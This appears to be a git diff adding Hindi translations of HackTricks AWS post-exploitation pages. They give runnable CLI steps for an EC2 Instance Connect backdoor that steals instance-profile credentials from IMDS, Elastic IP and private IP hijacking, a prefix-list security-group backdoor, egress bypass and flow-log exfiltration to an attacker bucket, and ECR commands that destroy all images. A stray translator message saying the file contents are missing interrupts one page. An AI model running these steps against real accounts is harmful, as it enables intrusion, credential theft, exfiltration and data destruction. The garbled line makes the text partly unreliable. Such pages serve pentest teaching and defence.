+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
@@ -0,0 +1,113 @@
+# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+EC2 Instance Connect Endpoint (EIC Endpoint) का दुरुपयोग करके private EC2 instances (कोई public IP/bastion नहीं) में inbound SSH एक्सेस प्राप्त करें, इसके लिए:
+- target subnet के भीतर एक EIC Endpoint बनाना
+- EIC Endpoint SG से target SG पर inbound SSH की अनुमति देना
+- `ec2-instance-connect:SendSSHPublicKey` के साथ short‑lived SSH public key (valid ~60 seconds) को inject करना
+- EIC tunnel खोलना और instance तक pivot करके IMDS से instance profile credentials चुराना
+
+Impact: private EC2 instances में एक stealthy remote access path जो bastions और public IP restrictions को bypass करता है। attacker instance profile assume कर सकता है और account में ऑपरेट कर सकता है।
+
+## Requirements
+- आवश्यक permissions:
+- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
+- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
+- Target Linux instance जिस पर SSH server और EC2 Instance Connect enabled हो (Amazon Linux 2 या Ubuntu 20.04+). Default users: `ec2-user` (AL2) या `ubuntu` (Ubuntu).
+
+## Variables
+```bash
+export REGION=us-east-1
+export INSTANCE_ID=
+export SUBNET_ID=
+export VPC_ID=
+export TARGET_SG_ID=
+export ENDPOINT_SG_ID=
+# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
+export OS_USER=ec2-user
+```
+## EIC एंडपॉइंट बनाएं
+```bash
+aws ec2 create-instance-connect-endpoint \
+--subnet-id "$SUBNET_ID" \
+--security-group-ids "$ENDPOINT_SG_ID" \
+--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
+--region "$REGION" \
+--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
+
+# Wait until ready
+while true; do
+aws ec2 describe-instance-connect-endpoints \
+--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
+--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
+grep -q 'create-complete' EIC_STATE && break
+sleep 5
+done
+```
+## EIC Endpoint से target instance पर ट्रैफिक की अनुमति दें
+```bash
+aws ec2 authorize-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+```
+## Inject क्षणिक SSH key और tunnel खोलें
+```bash
+# Generate throwaway key
+ssh-keygen -t ed25519 -f /tmp/eic -N ''
+
+# Send short-lived SSH pubkey (valid ~60s)
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "$OS_USER" \
+--ssh-public-key file:///tmp/eic.pub \
+--region "$REGION"
+
+# Open a local tunnel to instance:22 via the EIC Endpoint
+aws ec2-instance-connect open-tunnel \
+--instance-id "$INSTANCE_ID" \
+--instance-connect-endpoint-id "$(cat EIC_ID)" \
+--local-port 2222 --remote-port 22 --region "$REGION" &
+TUN_PID=$!; sleep 2
+
+# SSH via the tunnel (within the 60s window)
+ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
+```
+## Post-exploitation प्रमाण (steal instance profile credentials)
+```bash
+# From the shell inside the instance
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
+```
+I don't have the file contents. Please paste the Markdown/HTML content from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md that you want translated to Hindi. I will keep all tags, links, paths and code unchanged per your instructions.
+```json
+{
+"Code": "Success",
+"AccessKeyId": "ASIA...",
+"SecretAccessKey": "w0G...",
+"Token": "IQoJ...",
+"Expiration": "2025-10-08T04:09:52Z"
+}
+```
+स्थानीय रूप से चोरी किए गए creds का उपयोग कर पहचान सत्यापित करें:
+```bash
+export AWS_ACCESS_KEY_ID=
+export AWS_SECRET_ACCESS_KEY=
+export AWS_SESSION_TOKEN=
+aws sts get-caller-identity --region "$REGION"
+# => arn:aws:sts:::assumed-role//
+```
+## सफाई
+```bash
+# Revoke SG ingress on the target
+aws ec2 revoke-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+
+# Delete EIC Endpoint
+aws ec2 delete-instance-connect-endpoint \
+--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
+```
+> नोट्स
+> - इंजेक्ट किया गया SSH key केवल ~60 सेकंड के लिए मान्य होता है; टनल/SSH खोलने के ठीक पहले key भेजें।
+> - `OS_USER` को AMI से मेल खाना चाहिए (उदा., `ubuntu` Ubuntu के लिए, `ec2-user` Amazon Linux 2 के लिए).
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
new file mode 100644
index 000000000..94ed38350
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md
@@ -0,0 +1,52 @@
+# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## सारांश
+
+Abuse `ec2:AssociateAddress` (and optionally `ec2:DisassociateAddress`) का उपयोग करके किसी victim instance/ENI से एक Elastic IP (EIP) को पुनः असाइन करके attacker instance/ENI पर ले जाएं। यह EIP के लिए निर्धारित इनबाउंड ट्रैफ़िक को attacker की ओर पुनर्निर्देशित करता है और हमलावर को allowlisted सार्वजनिक IP के साथ आउटबाउंड ट्रैफ़िक उत्पन्न करने की अनुमति देता है ताकि बाहरी पार्टनर फ़ायरवॉल को बाईपास किया जा सके।
+
+## पूर्वापेक्षाएँ
+- उसी account/VPC में लक्ष्य EIP allocation ID।
+- आपके नियंत्रण में मौजूद attacker instance/ENI।
+- अनुमतियाँ:
+- `ec2:DescribeAddresses`
+- `ec2:AssociateAddress` on the EIP allocation-id and on the attacker instance/ENI
+- `ec2:DisassociateAddress` (optional). नोट: `--allow-reassociation` पिछली attachment से स्वतः disassociate कर देगा।
+
+## हमला
+
+वेरिएबल्स
+```bash
+REGION=us-east-1
+ATTACKER_INSTANCE=
+VICTIM_INSTANCE=
+```
+1) victim की EIP आवंटित करें या पहचानें (लैब एक नया आवंटित करता है और इसे victim से संलग्न करता है)
+```bash
+ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
+EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
+```
+2) सुनिश्चित करें कि EIP वर्तमान में लक्षित सेवा पर रेज़ॉल्व होता है (उदाहरण: बैनर की जाँच)
+```bash
+curl -sS http://$EIP | grep -i victim
+```
+3) EIP को attacker के साथ पुनः-एसोसिएट करें (victim से auto-disassociates)
+```bash
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
+```
+4) सत्यापित करें कि EIP अब attacker service की ओर resolve होता है
+```bash
+sleep 5; curl -sS http://$EIP | grep -i attacker
+```
+सबूत (स्थानांतरित एसोसिएशन):
+```bash
+aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
+--query Addresses[0].AssociationId --output text
+```
+## Impact
+- Inbound impersonation: hijacked EIP की ओर जाने वाला सारा ट्रैफ़िक attacker instance/ENI को पहुँचाया जाता है.
+- Outbound impersonation: Attacker ऐसा ट्रैफ़िक आरंभ कर सकता है जो allowlisted public IP से उत्पन्न होने जैसा दिखता है (partner/external source IP filters को बायपास करने के लिए उपयोगी).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
new file mode 100644
index 000000000..980c9f09f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
@@ -0,0 +1,50 @@
+# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+किसी पीड़ित ENI की secondary private IP चुराने और उसे उसी subnet/AZ में किसी attacker ENI पर स्थानांतरित करने के लिए `ec2:UnassignPrivateIpAddresses` और `ec2:AssignPrivateIpAddresses` का दुरुपयोग करें। कई internal सेवाएँ और security groups विशिष्ट private IPs के द्वारा एक्सेस को सीमित करते हैं। उस secondary पते को स्थानांतरित करके, attacker L3 पर trusted host का impersonate कर सकता है और allowlisted सेवाओं तक पहुँच बना सकता है।
+
+पूर्व आवश्यकताएँ:
+- अनुमतियाँ: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` victim ENI ARN पर, और `ec2:AssignPrivateIpAddresses` attacker ENI ARN पर।
+- दोनों ENIs उसी subnet/AZ में होने चाहिए। लक्षित पता एक secondary IP होना चाहिए (primary को unassign नहीं किया जा सकता)।
+
+Variables:
+- REGION=us-east-1
+- VICTIM_ENI=
+- ATTACKER_ENI=
+- PROTECTED_SG=   # SG on a target service that allows only $HIJACK_IP
+- PROTECTED_HOST=
+
+कदम:
+1) पीड़ित ENI से एक secondary IP चुनें
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
+export HIJACK_IP=$(cat HIJACK_IP)
+```
+2) सुनिश्चित करें कि protected host केवल उस IP को अनुमति देता है (idempotent)। यदि इसके बजाय SG-to-SG नियमों का उपयोग कर रहे हैं, तो छोड़ दें।
+```bash
+aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
+```
+3) बेसलाइन: attacker instance से, PROTECTED_HOST को request बिना spoofed source के विफल होना चाहिए (उदा., SSM/SSH के माध्यम से)
+```bash
+curl -sS --max-time 3 http://$PROTECTED_HOST || true
+```
+4) लक्षित ENI से secondary IP हटाएँ
+```bash
+aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+5) attacker ENI को वही IP असाइन करें (AWS CLI v1 पर `--allow-reassignment` जोड़ें)
+```bash
+aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+6) सत्यापित करें कि स्वामित्व स्थानांतरित हो गया है
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
+```
+7) attacker instance से, hijacked IP पर source-bind करें ताकि protected host तक पहुँच सकें (सुनिश्चित करें कि IP OS पर कॉन्फ़िगर किया गया है; अगर नहीं, तो इसे `ip addr add $HIJACK_IP/ dev eth0` से जोड़ें)
+```bash
+curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
+```
+## Impact
+- IP allowlists को बायपास करना और VPC के भीतर एक ही subnet/AZ में ENIs के बीच secondary private IPs को स्थानांतरित करके भरोसेमंद होस्ट्स का impersonate करना।
+- विशिष्ट source IPs द्वारा एक्सेस को सीमित करने वाली internal services तक पहुँच, जिससे lateral movement और data access सक्षम होते हैं।
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
new file mode 100644
index 000000000..36f1b9898
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md
@@ -0,0 +1,72 @@
+# AWS - Security Group Backdoor via Managed Prefix Lists
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## सारांश
+customer-managed Prefix Lists का दुरुपयोग करके एक stealthy एक्सेस पाथ बनाया जा सकता है। यदि किसी Security Group (SG) नियम में managed Prefix List का reference है, तो उस list को modify करने की ability रखने वाला कोई भी व्यक्ति चुपचाप attacker-controlled CIDRs जोड़ सकता है। हर वह SG (और संभावित रूप से Network ACL या VPC endpoint) जो उस list को reference करता है, बिना किसी दिखाई देने वाले SG परिवर्तन के तुरंत नए रेंजेस को allow कर देता है।
+
+## प्रभाव
+- जिन भी SGs में prefix list का reference है उनके लिए allowed IP ranges का तुरंत विस्तार, जिससे वे change controls को bypass कर जाते हैं जो केवल SG edits को monitor करते हैं।
+- persistent ingress/egress backdoors सक्षम होते हैं: malicious CIDR को prefix list में छुपाकर रखा जा सकता है जबकि SG rule अपरिवर्तित दिखता है।
+
+## आवश्यकताएँ
+- IAM permissions:
+- `ec2:DescribeManagedPrefixLists`
+- `ec2:GetManagedPrefixListEntries`
+- `ec2:ModifyManagedPrefixList`
+- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (to identify attached SGs)
+- Optional: `ec2:CreateManagedPrefixList` if creating a new one for testing.
+- Environment: कम से कम एक SG rule जो target customer-managed Prefix List को reference करता हो।
+
+## वेरियेबल्स
+```bash
+REGION=us-east-1
+PREFIX_LIST_ID=
+ENTRY_CIDR=
+DESCRIPTION="Backdoor – allow attacker"
+```
+## हमले के चरण
+
+1) **उम्मीदवार prefix lists और consumers की सूची बनाएं**
+```bash
+aws ec2 describe-managed-prefix-lists \
+--region "$REGION" \
+--query 'PrefixLists[?OwnerId==``].[PrefixListId,PrefixListName,State,MaxEntries]' \
+--output table
+
+aws ec2 get-managed-prefix-list-entries \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--region "$REGION" \
+--query 'Entries[*].[Cidr,Description]'
+```
+यह पुष्टि करने के लिए `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` का उपयोग करें कि कौन से SG rules prefix list पर निर्भर हैं।
+
+2) **attacker CIDR को prefix list में जोड़ें**
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
+--region "$REGION"
+```
+3) **security groups पर प्रसारण को सत्यापित करें**
+```bash
+aws ec2 describe-security-group-rules \
+--region "$REGION" \
+--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
+--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
+--output table
+```
+`$ENTRY_CIDR` से आने वाला ट्रैफिक अब जहाँ भी prefix list संदर्भित है वहाँ अनुमति प्राप्त है (आम तौर पर egress proxies पर outbound नियम या shared services पर inbound नियम)।
+
+## प्रमाण
+- `get-managed-prefix-list-entries` में attacker CIDR और विवरण दिखाई देता है।
+- `describe-security-group-rules` अभी भी मूल SG rule दिखाता है जो prefix list को संदर्भित करता है (कोई SG परिवर्तन रिकॉर्ड नहीं हुआ), फिर भी नए CIDR से ट्रैफिक सफल होता है।
+
+## साफ़-सफाई
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--remove-entries Cidr="$ENTRY_CIDR" \
+--region "$REGION"
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
new file mode 100644
index 000000000..0c9ecf97f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
@@ -0,0 +1,68 @@
+# AWS – Isolated Subnets से Egress बाईपास (VPC Endpoints के माध्यम से)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## सारांश
+
+यह तकनीक VPC Endpoints का दुरुपयोग करके उन subnets से exfiltration channels बनाती है जिनमें Internet Gateways या NAT नहीं होते। Gateway endpoints (e.g., S3) subnet route tables में prefix‑list routes जोड़ते हैं; Interface endpoints (e.g., execute-api, secretsmanager, ssm, आदि) reachable ENIs बनाते हैं जिनके private IPs security groups द्वारा संरक्षित होते हैं। न्यूनतम VPC/EC2 permissions के साथ, एक attacker controlled egress सक्षम कर सकता है जो public Internet से होकर नहीं गुजरता।
+
+> पूर्वआवश्यकताएँ: मौजूदा VPC और private subnets (no IGW/NAT)। आपको VPC endpoints बनाने की permissions चाहिए होंगी और, Option B के लिए, endpoint ENIs से जोड़ने के लिए एक security group चाहिए होगा।
+
+## Option A – S3 Gateway VPC Endpoint
+
+**वेरिएबल्स**
+- `REGION=us-east-1`
+- `VPC_ID=`
+- `RTB_IDS=`
+
+1) एक permissive endpoint policy फ़ाइल बनाएं (वैकल्पिक)। इसे `allow-put-get-any-s3.json` के रूप में सेव करें:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
+}
+```
+2) S3 Gateway endpoint बनाएं (चयनित route tables में S3 prefix‑list route जोड़ता है):
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.s3 \
+--vpc-endpoint-type Gateway \
+--route-table-ids $RTB_IDS \
+--policy-document file://allow-put-get-any-s3.json   # optional
+```
+कैप्चर करने के लिए साक्ष्य:
+- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` AWS S3 prefix list की ओर एक route दिखाता है (उदा., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
+- उन सबनेट्स में किसी instance से (IAM perms के साथ) आप Internet के बिना S3 के माध्यम से exfil कर सकते हैं:
+```bash
+# On the isolated instance (e.g., via SSM):
+echo data > /tmp/x.txt
+aws s3 cp /tmp/x.txt s3:///egress-test/x.txt --region $REGION
+```
+## Option B – Interface VPC Endpoint for API Gateway (execute-api)
+
+**वेरिएबल्स**
+- `REGION=us-east-1`
+- `VPC_ID=`
+- `SUBNET_IDS=`
+- `SG_VPCE=`
+
+1) इंटरफ़ेस endpoint बनाएँ और SG संलग्न करें:
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.execute-api \
+--vpc-endpoint-type Interface \
+--subnet-ids $SUBNET_IDS \
+--security-group-ids $SG_VPCE \
+--private-dns-enabled
+```
+साक्ष्य जो कैप्चर करने हैं:
+- `aws ec2 describe-vpc-endpoints` दिखाता है कि endpoint `available` स्थिति में है और `NetworkInterfaceIds` के साथ (आपके subnets में ENIs)।
+- उन subnets के Instances उन VPCE ENIs के माध्यम से Private API Gateway endpoints तक पहुँच सकते हैं (कोई Internet path आवश्यक नहीं)।
+
+## प्रभाव
+- AWS‑managed private paths का उपयोग करके perimeter egress controls को बायपास करता है ताकि AWS services तक पहुँच संभव हो।
+- IGW/NAT के बिना isolated subnets से data exfiltration सक्षम करता है (उदा., S3 पर लिखना; Private API Gateway को कॉल करना; Secrets Manager/SSM/STS, आदि तक पहुँचना)।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
new file mode 100644
index 000000000..c7bdb0d4e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -0,0 +1,74 @@
+# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## सारांश
+VPC, subnet, या ENI flow logs को सीधे attacker-controlled S3 bucket में export करने के लिए `ec2:CreateFlowLogs` का दुरुपयोग करें। एक बार जब delivery role external bucket में लिखने के लिए configured हो जाता है, तो monitored resource पर देखा गया हर connection victim account से stream हो जाता है।
+
+## आवश्यकताएँ
+- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, और `iam:PassRole` (यदि delivery role आवश्यक/बनाया गया हो)।
+- Attacker bucket: S3 policy जो `delivery.logs.amazonaws.com` पर भरोसा करता हो और `s3:PutObject` तथा `bucket-owner-full-control` परमिशन देता हो।
+- Optional: `logs:DescribeLogGroups` यदि S3 की बजाय CloudWatch में export कर रहे हों (यहाँ आवश्यक नहीं)।
+
+## Attack Walkthrough
+
+1) **Attacker** attacker account में एक S3 bucket policy तैयार करता है जो VPC Flow Logs delivery service को objects लिखने की अनुमति देती है। लागू करने से पहले प्लेसहोल्डर्स बदलें:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVPCFlowLogsDelivery",
+"Effect": "Allow",
+"Principal": { "Service": "delivery.logs.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::/flowlogs/*",
+"Condition": {
+"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
+}
+}
+]
+}
+```
+attacker account से लागू करें:
+```bash
+aws s3api put-bucket-policy \
+--bucket  \
+--policy file://flowlogs-policy.json
+```
+2) **Victim** (compromised principal) attacker bucket को लक्षित करते हुए flow logs बनाता है:
+```bash
+REGION=us-east-1
+VPC_ID=
+ROLE_ARN=   # Must allow delivery.logs.amazonaws.com to assume it
+aws ec2 create-flow-logs \
+--resource-type VPC \
+--resource-ids "$VPC_ID" \
+--traffic-type ALL \
+--log-destination-type s3 \
+--log-destination arn:aws:s3:::/flowlogs/ \
+--deliver-logs-permission-arn "$ROLE_ARN" \
+--region "$REGION"
+```
+कुछ ही मिनटों में, flow log files attacker bucket में दिखाई देने लगते हैं, जिनमें monitored VPC/subnet के सभी ENIs के कनेक्शनों के रिकॉर्ड होते हैं।
+
+## सबूत
+
+attacker bucket में लिखे गए sample flow log रिकॉर्ड:
+```text
+version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
+2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
+```
+Bucket listing का प्रमाण:
+```bash
+aws s3 ls s3:///flowlogs/ --recursive --human-readable --summarize
+```
+## प्रभाव
+- monitored VPC/subnet/ENI के लिए निरंतर नेटवर्क मेटाडेटा exfiltration (source/destination IPs, ports, protocols).
+- बाहरी तौर पर victim account से traffic analysis, sensitive services की पहचान और संभावित security group misconfigurations की hunting सक्षम करता है।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
deleted file mode 100644
index 250f4c1a9..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ /dev/null
@@ -1,92 +0,0 @@
-# AWS - ECR पोस्ट एक्सप्लॉइटेशन
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-अधिक जानकारी के लिए देखें
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### लॉगिन, पुल & पुश
-```bash
-# Docker login into ecr
-## For public repo (always use us-east-1)
-aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/
-## For private repo
-aws ecr get-login-password --profile  --region  | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com
-## If you need to acces an image from a repo if a different account, in  set the account number of the other account
-
-# Download
-docker pull .dkr.ecr..amazonaws.com/:latest
-## If you still have the error "Requested image not found"
-## It might be because the tag "latest" doesn't exit
-## Get valid tags with:
-TOKEN=$(aws --profile  ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
-curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list
-
-# Inspect the image
-docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
-
-# Upload (example uploading purplepanda with tag latest)
-docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest
-docker push .dkr.ecr..amazonaws.com/purplepanda:latest
-
-# Downloading without Docker
-# List digests
-aws ecr batch-get-image --repository-name level2 \
---registry-id 653711331788 \
---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
-
-## Download a digest
-aws ecr get-download-url-for-layer \
---repository-name level2 \
---registry-id 653711331788 \
---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
-```
-छवियों को डाउनलोड करने के बाद आपको **संवेदनशील जानकारी के लिए उनकी जांच करनी चाहिए**:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
-{{#endref}}
-
-### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-
-इनमें से किसी भी अनुमति के साथ एक हमलावर **सभी छवियों को हटाने के लिए एक जीवनचक्र नीति बना या संशोधित कर सकता है** और फिर **पूरे ECR रिपॉजिटरी को हटा सकता है**। इसके परिणामस्वरूप रिपॉजिटरी में संग्रहीत सभी कंटेनर छवियों का नुकसान होगा।
-```bash
-bashCopy code# Create a JSON file with the malicious lifecycle policy
-echo '{
-"rules": [
-{
-"rulePriority": 1,
-"description": "Delete all images",
-"selection": {
-"tagStatus": "any",
-"countType": "imageCountMoreThan",
-"countNumber": 0
-},
-"action": {
-"type": "expire"
-}
-}
-]
-}' > malicious_policy.json
-
-# Apply the malicious lifecycle policy to the ECR repository
-aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
-
-# Delete the ECR repository
-aws ecr delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete the ECR public repository
-aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete multiple images from the ECR repository
-aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-
-# Delete multiple images from the ECR public repository
-aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
new file mode 100644
index 000000000..852171fc1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
@@ -0,0 +1,204 @@
+# AWS - ECR Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+अधिक जानकारी के लिए देखें
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Login, Pull & Push
+```bash
+# Docker login into ecr
+## For public repo (always use us-east-1)
+aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/
+## For private repo
+aws ecr get-login-password --profile  --region  | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com
+## If you need to acces an image from a repo if a different account, in  set the account number of the other account
+
+# Download
+docker pull .dkr.ecr..amazonaws.com/:latest
+## If you still have the error "Requested image not found"
+## It might be because the tag "latest" doesn't exit
+## Get valid tags with:
+TOKEN=$(aws --profile  ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
+curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list
+
+# Inspect the image
+docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
